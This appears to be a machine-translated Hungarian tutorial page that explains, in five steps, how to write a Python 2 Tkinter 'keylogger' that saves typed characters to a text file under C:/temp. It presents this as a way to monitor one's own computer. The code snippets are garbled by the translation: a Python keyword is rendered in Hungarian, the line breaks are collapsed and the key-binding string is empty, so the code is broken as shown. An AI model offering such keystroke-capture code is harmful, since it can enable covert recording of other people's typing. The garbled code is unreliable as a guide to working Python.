1. kamerák
  2. Car Audio & Electronics
  3. Home Audio
  4. Personal Audio
  5. TV-k
  6. Okos otthon
  >> Elektronikai Technológia Online >  >> Okos otthon >> Okos élet

Keylogger létrehozása Python használatával

A Python használatával létrehozhat egy billentyűzetnaplózó programot a számítógép billentyűzetén begépelt billentyűleütések rögzítésére. A billentyűleütések egy szöveges fájlba kerülnek, és minden bevitelt rögzít. Kulcsnaplózó segítségével figyelheti a számítógépén végzett tevékenységeket.

1. lépés

Indítsa el az IDLE-t, kattintson a "Fájl" menüre, és válassza az "Új ablak" lehetőséget az új ablak megnyitásához. Nyomja meg a Ctrl és S billentyűket a "Mentés másként" ablak megnyitásához. Fájlnévként használja a „getKeyLogger”-t, majd kattintson a „Mentés” gombra.

2. lépés

Adja hozzá a következő kódsort a "Tkinter" névtér importálásához, és adja meg a naplózni kívánt fájl elérési útját:

import Tkinter mint tk myFile =open("C:/temp/keyFile.txt", "w")

3. lépés

Másolja és illessze be a következő kódot, hogy minden billentyűleütést a fájlba menthessen:

def keypress(event):if event.keysym =='Escape':main.destroy() keyPressed =event.char myFile.write(keyPressed)

4. lépés

Adja hozzá a következő kódot, hogy tudassa a felhasználóval, hogy elkezdheti a gépelést, és az Esc billentyűt lenyomhatja a program befejezéséhez:

main =tk.Tk() print "Nyomja meg bármelyik billentyűt (Escape billentyű a kilépéshez):" main.bind_all('', keypress) main.withdraw() main.mainloop() myFile.close()

5. lépés

Kattintson a "Windows" start gombra, és írja be a "cmd" parancsot a "programok és fájlok keresése" mezőbe. Nyomja meg az Enter billentyűt a parancssor megnyitásához. Nyissa meg a „C:\Python” elemet, és írja be a „python getKeyLogger” parancsot. Nyomja meg az Entert a program futtatásához. Lépjen a "C:/temp/" mappába, és kattintson duplán a "keyFile.txt" fájlra a billentyűleütési adatok megtekintéséhez.


  1. Hogyan hozzunk létre egy csengőhang Macintosh
  2. Fájl megnyitása Pythonban
  3. Tömb létrehozása Pythonban
  4. Kötegelt fájlok létrehozása
  5. Szövegfájl olvasása Pythonban